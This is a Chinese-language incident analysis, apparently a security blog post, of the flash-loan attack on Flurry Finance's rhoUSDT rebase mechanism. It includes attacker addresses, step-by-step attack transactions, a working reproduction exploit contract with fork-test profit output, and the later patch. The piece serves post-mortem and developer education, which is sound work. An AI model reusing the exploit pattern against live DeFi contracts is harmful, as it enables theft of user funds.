事件概述
2 月 22 日,BSC 鏈上的 Flurry Finance 遭到閃電貸攻擊,導致協議中 Vault 合約中價值數十萬美元的資產被盜。
本次攻擊受影響資產數額相比一起知名攻擊事件不算高,但攻擊過程中有許多有趣的技術細節值得關注,因此成文深入分析。
與經典的閃電貸操縱預言機的攻擊手段不同,此次攻擊利用了 Flurry Finance 中 RhoToken 代幣的 rebase 機制。由於 rebase 過程中參數計算受協議外部 bank 合約中代幣總量的影響,攻擊者通過閃電貸借出 bank 中的資產後觸發 rebase,使 RhoToken 數量縮減。此時鑄造大量 RhoToken,再次觸發 rebase 使 RhoToken 增長到正常數量,使自己持有的 RhoToken 數量增加,從而實現獲利。
Flurry Finance 簡介
Flurry Finance 是一個收益聚合協議,用戶可以向協議中存入穩定幣(如 USDT, USDC, BUSD 等),通過協議內置的多種投資策略獲取收益。 Flurry Finance 支持的 DeFi 投资目标[1]包括 Venus Protocol, Aave, Rabbit Finance 等。
在 Flurry Finance 的合約實現中,每種穩定幣均會存儲在協議單獨的 Vault 合約中。每個 Vault 合約內置若干針對該穩定幣的投資策略,協議通過調用這些策略合約進行投資獲取收益。
用戶向 Vault 存入穩定幣後,會 1:1 獲得對應的 RhoToken 代幣作為憑證。 Flurry Finance 實現收益分配的方式是在 RhoToken 中引入了 rebase 機制。 RhoToken 採用彈性供應量的模式,用戶的餘額與 RhoToken 合約中的 multiplier 值有關。協議投資獲取收益後,會根據收益進行 rebase,使 multiplier 增大,在用戶側體現為 RhoToken 的餘額增多。用戶仍可以 1:1 從 Vault 合約中將 RhoToken 贖回為原始存入的穩定幣資產,從而獲取收益。
值得說明的是,考慮到許多 DeFi 合約不能處理 rebase 類型的 ERC20 Token,RhoToken 要求合約賬戶需要主動調用 setRebasingOption(true)
開啟 rebase 機制,否則默認不會進行 rebase。
RhoToken 合約(0x228265b81Fe567E13e7117469521aa228afd1AF1)中餘額計算相關代碼如下,可以看出用戶手中的餘額將隨著 multiplier 動態變化,經過 rebase,用戶手中的餘額會隨著 multiplier 增大而增多。
contract RhoToken is IRhoToken, ERC20Upgradeable, AccessControlEnumerableUpgradeable {
function balanceOf(address account) public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
if (isRebasingAccount(account)) {
return _timesMultiplier(_balances[account]);
}
return _balances[account];
}
function _timesMultiplier(uint256 input) internal view returns (uint256) {
return (input * multiplier) / ONE;
}
}
rebase 時 multiplier 計算核心代碼在 Vault.rebase()
函數中(0xec7fa7a14887c9cac12f9a16256c50c15dada5c4),代碼如下。可以看出 multiplier 與 Vault 關聯的所有 strategy 合約投資的 TVL 總和正相關。投資過程中收益累積可以使所有 strategy TVL 總和增加,這樣 RhoToken 對應 multiplier 也會增大,觸發 rebase 後投資者手中的 RhoToken 餘額也會變多,從而可以贖回更多的原始穩定幣資產。
contract Vault is IVault, AccessControlEnumerableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable {
/* asset management */
function rebase() external override onlyRole(REBASE_ROLE) whenNotPaused nonReentrant {
IVaultConfig.Strategy[] memory strategies = config.getStrategiesList();
uint256 originalTvlInRho = rhoToken().totalSupply();
if (originalTvlInRho == 0) {
return;
}
// rebalance fund
_rebalance();
// 計算所有投資策略中的資產總和
uint256 underlyingInvested;
for (uint256 i = 0; i < strategies.length; i++) {
underlyingInvested += strategies[i].target.updateBalanceOfUnderlying();
}
uint256 currentTvlInUnderlying = reserve() + underlyingInvested;
uint256 currentTvlInRho = (currentTvlInUnderlying * rhoOne()) / underlyingOne();
uint256 rhoRebasing = rhoToken().unadjustedRebasingSupply();
uint256 rhoNonRebasing = rhoToken().nonRebasingSupply();
// ... 略去一些 fee36 相關的手續費計算代碼
uint256 newM = ((currentTvlInRho * 1e18 - rhoNonRebasing * 1e18 - fee36) * 1e18) / rhoRebasing;
rhoToken().setMultiplier(newM);
}
}
任何用戶均可以調用 FlurryRebaseUpkeep.performUpkeep()
(0x10f2c0d32803c03fc5d792ad3c19e17cd72ad68b)來主動觸發 rebase 過程。如下:
contract FlurryRebaseUpkeep is OwnableUpgradeable, IFlurryUpkeep {
function performUpkeep(bytes calldata performData) external override {
lastTimeStamp = block.timestamp;
for (uint256 i = 0; i < vaults.length; i++) {
vaults[i].rebase();
}
performData;
}
}
漏洞成因
前面提到更新 multiplier 需使用 strategy.updateBalanceOfUnderlying()
方法會取出每種策略的 TVL 對應的底層穩定幣數量。這裡不同的策略會使用不同的計算方法。
Rabbit Finance 投資策略(RabbitStrategy 0xf39444436eb5312d74f71c1fa6e4608efe08e414)會使用如下方法計算:
contract RabbitStrategy is BaseRhoStrategy {
/**
* @dev view function to return balance in underlying,
* @return balance (interest included) from Rabbit protocol, in terms of underlying (in wei)
*/
function balanceOfUnderlying() public view override returns (uint256) {
return
(fairLaunch.userInfo(poolId, address(this)).amount * rabbitBank.totalToken(address(underlying))) /
ibToken.totalSupply();
}
function _updateBalanceOfUnderlying() internal override returns (uint256) {
rabbitBank.calInterest(address(underlying));
return balanceOfUnderlying();
}
}
可以看到計算時的公式中用到了rabbitBank.totalToken()
(0xbeeb9d4ca070d34c014230bafdfb2ad44a110142)。對應的實現如下:
library SafeToken {
function myBalance(address token) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(address(this));
}
}
contract Bank is Initializable, ReentrancyGuardUpgradeSafe, Governable,IBTokenFactory {
function totalToken(address token) public view returns (uint256) {
TokenBank storage bank = banks[token];
require(bank.isOpen, 'token not exists');
uint balance = token == address(0) ? address(this).balance : SafeToken.myBalance(token);
balance = bank.totalVal < balance? bank.totalVal: balance;
return balance.add(bank.totalDebt).sub(bank.totalReserve);
}
}
rabbitBank.totalToken()
實際就是取出當前 Bank 合約中所存代幣的餘額。 Rabbit Finance 的 Bank 合約是支持閃電貸的,因此其餘額可通過閃電貸進行大幅度的控制。
攻擊者可通過閃電貸將 Bank 中指定的代幣借空,在閃電貸還款前觸發 rebase,從而使 RabbitStrategy.updateBalanceOfUnderlying()
返回接近於 0 的較小值,進一步可使對應的 rhoToken 的 multiplier 更新為一個較小的值。此時獲取一定數量的 rhoToken 後再次觸發 rebase 使用 multiplier 恢復到正常值(即增大)。這就可以使持有的 rhoToken 數量增多,從而獲利。
這裡有一個小問題是 Rabbit Bank 合約的閃電貸實現不支持直接指定回調函數,而是固定會執行一些特定的策略合約。在實際攻擊中,攻擊者選用了 Rabbit Finance 的 StrategyLiquidate 策略,該策略似乎是用於執行清算的一個輔助策略。該策略可以由用戶指定的一個 LP token,由策略合約執行流動性退出的操作。攻擊者自行部署了一個惡意的 ERC20 合約,並重寫了其中的 approve 方法,並將這個 ERC20 組成 LP 轉賬給 StrategyLiquidate 合約。當 StrategyLiquidate 合約執行流動性退出操作時,就會調用到惡意的 ERC20 的 approve 方法,從而給了攻擊者執行任意代碼的機會。
利用這個技巧即可在 Bank 閃電貸還款前執行 rebase 操作,從而實現對 multiplier 的操縱。
攻擊流程細節
整個攻擊流程中涉及到一些合約地址及交易如下:
攻擊者地址
-
0x2A1F4cB6746C259943f7A01a55d38CCBb4629B8E -
0x0F3C0c6277BA049B6c3f4F3e71d677b923298B35
攻擊合約
-
0xB7A740d67C78bbb81741eA588Db99fBB1c22dFb7
攻擊交易
-
0xd771f2263aa1693bddbcaaf66e2864417d7382c96b706b3894edd024da772009 -
0xff1071c663b4614756d75301ebb207b40174894021542043db7e2227e19dc890 -
0x12ec3fa2db6b18acc983a21379c32bffb17edbd424c4858197ad2286b5e5d00a
受害者 Flurry Finance 相關合約
-
USDT Vault 合約 -
proxy 0x4BAd4D624FD7cabEeb284a6CC83Df594bFDf26Fd -
impl 0xec7fa7a14887c9cac12f9a16256c50c15dada5c4 -
FlurryRebaseUpkeep 合約 -
proxy 0xc8935Eb04ac1698C51a705399A9632c6FaeCa57f -
impl 0x10f2c0d32803c03fc5d792ad3c19e17cd72ad68b -
rhoUSDT Token 合約 -
proxy 0xD845dA3fFc349472fE77DFdFb1F93839a5DA8C96 -
impl 0xbf1b03ef556bb415a8e74a835d1b1ab51bcf9392 -
RabbitStrategy -
proxy 0x4B477C69cd26e5BA42170EdFEe50f4Fdd9194426 -
impl 0xf39444436eb5312d74f71c1fa6e4608efe08e414
- 注:上述合約地址為攻擊發生時的地址,攻擊發生後官方進行了新的合約部署和升級。
Rabbit Finance 相關合約
-
StrategyLiquidate 合約 -
0x5085c49828b0b8e69bae99d96a8e0fcf0a033369 -
Bank 合約 -
proxy 0xc18907269640d11e2a91d7204f33c5115ce3419e -
impl 0xbeeb9d4ca070d34c014230bafdfb2ad44a110142 -
PancakeswapGoblin 合約 -
proxy 0x5917e3c07ade0b0a827d7935a3b4aace5050d0dd -
impl 0xb2aabc9439354f3a73698f47befd2d7550144cbc
攻击准备
攻擊者首先會部署攻擊合約,該攻擊合約本身也是惡意 ERC20 合約,合約的 approve 方法由攻擊者重寫,添加了對 FlurryRebaseUpkeep.performUpkeep()
的調用。
接下來調用攻擊合約的 init()
方法進行一些攻擊前的準備,對應交易0xd771f2263aa1693bddbcaaf66e2864417d7382c96b706b3894edd024da772009
關鍵的操作包括:
1.調用 rhoUSDT.setRebasingOption(true)
為攻擊合約開啟 rhoUSDT 的 rebase 功能。
2.調用 PancakeRouter.addLiquidity(USDT, 攻击合约, ...)
將 USDT 和自身組成 Cake-LP(LP 合約地址為 0xc6015317c28cdd60c208fbc58977e77eed534b3a)。
3.調用 Cake-LP.transfer(StrategyLiquidate, 1000)
將上述 LP 轉給 Rabbit Finance 的 StrategyLiquidate 合約,為後續攻擊作準備。
4.調用 FlurryRebaseUpkeep.performUpkeep()
校正初始的 multiplier 值。
發動攻擊
對應交易:0xff1071c663b4614756d75301ebb207b40174894021542043db7e2227e19dc890
調用 Rabbit Finance 的 Bank.work()
方法發起閃電貸,參數如下:
Bank.work(
posId = 0,
pid = 15, // 對應 USDT 資產
borrow = 2,106,492,238,155,585,176,680,697, // 借款數量
data =
(
0x5085c49828b0b8e69bae99d96a8e0fcf0a033369, // StrategyLiquidate 合約
0x40,
0x40,
0xc6015317c28cdd60c208fbc58977e77eed534b3a, // 前面的惡意 Cake-LP 合約
0x2
)
)
該方法會發起閃電貸,並執行 StrategyLiquidate 策略,策略中傳入的 LP 參數為之前創建並轉入 StrategyLiquidate 中的 Cake-LP 地址。
具體執行時,Bank.work()
會調用 PancakeswapGoblin.work()
,進入 StrategyLiquidate.execute()
。最終執行 PancakeRouter.removeLiquidity(USDT, 攻击合约, ...)
。
由於攻擊合約中重寫了 approve 方法,removeLiquidity 操作中進行 approve 時,會觸發攻擊合約中預先寫好的操作。也就是執行 FlurryRebaseUpkeep.performUpkeep()
,觸發 Flurry Finance Vault 的 rebase。此時閃電貸還沒有歸還。 rebase 完成後,rhoUSDT 的 multiplier 會更新成一個較小的異常值。
接下來則繼續正常的 StrategyLiquidate 執行流程。最後完成閃電貸還款。
攻擊獲利
前面已經將 rhoUSDT 的 multiplier 更新為一個異常值(比正常值要小),接下來要利用這個異常進行獲利。
對應交易:0x12ec3fa2db6b18acc983a21379c32bffb17edbd424c4858197ad2286b5e5d00a
具體操作為:
1.攻擊合約從 DODO 通過 2 次閃電貸共借出約 38 萬 USDT。
2.利用這些 USDT 調用 Flurry Finance 的 Vault.mint()
存入 USDT 並鑄造 38 萬 rhoUSDT。
3.調用 FlurryRebaseUpkeep.performUpkeep()
觸發 rebase 恢復正常的 multiplier 值。
4.rebase 後攻擊合約 rhoUSDT balance 變為 42 萬,調用 Vault.redeem()
將 rhoUSDT 贖回得到 42 萬 USDT。
5.歸還閃電貸,攻擊合約內剩餘獲利約 4 萬 USDT。
循環
接下來攻擊者不斷循環 發動攻擊
+ 攻擊獲利
操作 20 餘次,將 USDT Vault 中的資產耗盡。需要說明的是,發動攻擊
步驟中的 Bank.work()
要求調用者為 EOA,因此攻擊者需要該步單獨作為一次交易執行,而無法整合在攻擊合約中一步完成。
攻擊復現
根據前面的分析,可以編寫攻擊合約,核心攻擊代碼如下:
contract Exploit{
// ..
function approve(address _spender, uint _value) public returns (bool success){
if(msg.sender == address(strategy)){
IFlurryRebaseUpkeep(rebaseUpkeep).performUpkeep(new bytes(0));
}
allowance[msg.sender][_spender] = _value;
return true;
}
function init() public{
IRhoToken(rhoUSDT).setRebasingOption(true);
IERC20(rhoUSDT).approve(vault, MAX);
IERC20(USDT).approve(vault, MAX);
IERC20(USDT).approve(router, MAX);
IERC20(address(this)).approve(router, MAX);
IPancakeRouter(router).addLiquidity(USDT, address(this), 1e6, 1e6, 0, 0, address(this), block.timestamp);
pair = IPancakeFactory(factory).getPair(USDT, address(this));
IERC20(pair).transfer(strategy, 2);
}
function attack() public{
IDPP(dodo).flashLoan(0, IERC20(USDT).balanceOf(dodo), address(this), new bytes(1));
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
IVault(vault).mint(IERC20(USDT).balanceOf(address(this)));
IFlurryRebaseUpkeep(rebaseUpkeep).performUpkeep(new bytes(0));
IVault(vault).redeem(IERC20(rhoUSDT).balanceOf(address(this)));
IERC20(USDT).transfer(dodo, quoteAmount);
}
}
Fork BSC 高度 15484858 的區塊,依次調用 init()
, attack()
,運行測試如下:
Exploit contract deployed to: 0x4BCD98b42fd74c8f386E650848773e841A5d332B
Assuming that the hacker has 500U.
multiplier 751294863222874013999204681693028833
rhoUSDT 216925749511343748784819
After rebasing:
multiplier 842437939874898598195556764001398961
rhoUSDT 243242021834431727276817
Profit: 26316 $USDT
可以成功獲利 26k 美元。注意這只是單次攻擊的結果,可多次重複獲利。
完整的複現環境見 cobo-blog github[2]。
漏洞補丁
攻擊後官方進行了合約升級,修復了前面存在的一些漏洞。
multiplier 和 rebase 機制原本的作用是為給用戶分配收益,那麼理論上投資不產生虧損的情況下,multiplier 是單向增大的過程,而不應存在變小的情況。該值變小則有可能說明存在安全攻擊等異常情況。
因此在新的 USDT Vault implementation 0xD36cb819c9AEc58CBccC60cB3050B352C6c4a776 中添加了一些檢查,當 rebase 時檢測到 multiplier 變小的異常行為時,交易直接 revert。
contract Vault is IVault, AccessControlEnumerableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable {
/* asset management */
function rebase() external override onlyRole(REBASE_ROLE) whenNotPaused nonReentrant {
vault.rebase();
}
}
library VaultLib {
function rebase(VaultStorage storage self) public {
_rebase(self, true);
}
function _rebase(VaultStorage storage self, bool revertOnNegativeRebase) internal {
// ...
// Rebase
(uint256 oldM, uint256 lastUpdate) = _rhoToken.getMultiplier();
// ... 略去一些沒有變化的計算過程。
if (currentTvlInRho < originalTvlInRho) {
uint256 _newM = ((currentTvlInRho - rhoNonRebasing) * 1e36) / rhoRebasing;
// 針對負值更新的檢查
// Check for -ive rebase
// This would happen if there are fees deducted when minting deposit tokens
// or when balanceOfUnderlying has gone down compared to previous rebase
// mulitplier is scaled by 36 decimals, allow for an error of 1e25 for multiplier
// 1e25 err in multiplier is equalivant to 1e-2 dollars error for 1 billion dollars.
if ((_newM + 1e25) < oldM) {
if (revertOnNegativeRebase) {
revert(uint2str(_newM));
}
lastUpdate; // not used
emit NegativeRebase(oldM, _newM);
}
_rhoToken.setMultiplier(_newM);
return;
}
// ...
}
}
更為關鍵的是,在新的 FlurryRebaseUpkeep implementation 中 (0xb4111084730d7c73b22b58c5a0a91ea8790d162d),FlurryRebaseUpkeep.performUpkeep()
被添加了調用權限檢查 onlyRole(RELAYER_ROLE)
,不再是任意用戶均可調用的。並且在出現 rebase 失敗的情況(即檢查到了前述異常更新的情況)可自動對合約進行 pause,以保證資產的安全。代碼如下:
contract FlurryRebaseUpkeep is AccessControlEnumerableUpgradeable, IFlurryUpkeep {
// 添加 onlyRole(RELAYER_ROLE) 權限檢查
function performUpkeep(bytes calldata) external override onlyRole(RELAYER_ROLE) {
lastTimeStamp = block.timestamp;
for (uint256 i = 0; i < vaults.length; i++) {
address underlying = address(vaults[i].underlying());
(uint256 oldMultiplier, uint256 lastupdate) = vaults[i].rhoToken().getMultiplier();
try vaults[i].rebase() {
lastupdate; // not used.
} catch Error(string memory reason) {
emit RebaseError(oldMultiplier, reason);
checkPauseOnError(underlying); // 發生 error 時觸發合約 pause
} catch (bytes memory) {
checkPauseOnError(underlying);
}
}
}
}
總結
本次攻擊中使用到了偽造 ERC20 重寫 approve 方法再利用 Rabbit Finance 的 StrategyLiquidate 合約來執行任意代碼的技巧。但這個技巧涉及到的合約代碼本身其實並不存在安全問題。
漏洞的本質原因在於協議對 RhoToken 進行 rebase 時計算 multiplier 的公式中依賴於外部可控的數據(Bank 中的 token 數量)。從而使攻擊者通過閃電貸的方式實現了對 multiplier 的操縱,進而獲利。
開發者在進行項目開發時需要特別注意合約在計算資產數量、價格時是否有依賴外部某些可能被惡意操縱的數據。閃電貸操縱預言機的典型攻擊模式其實也是項目中依賴於 DEX 池內代幣價格進行了內部某些關鍵指標的計算導致的。
值得一提的是,在交易分析過程中發現攻擊者還用到了另一個合約漏洞,但因為此漏洞實際造成套利數額較小,因此在大部分分析文章中都被忽略掉了,在下一篇文章中將具體解析該漏洞的細節。
參考資料
[2] cobo-blog github: https://github.com/CoboCustody/cobo-blog/tree/main/Flurry_attack_1
社區組委員
Singapore
2022年4月25日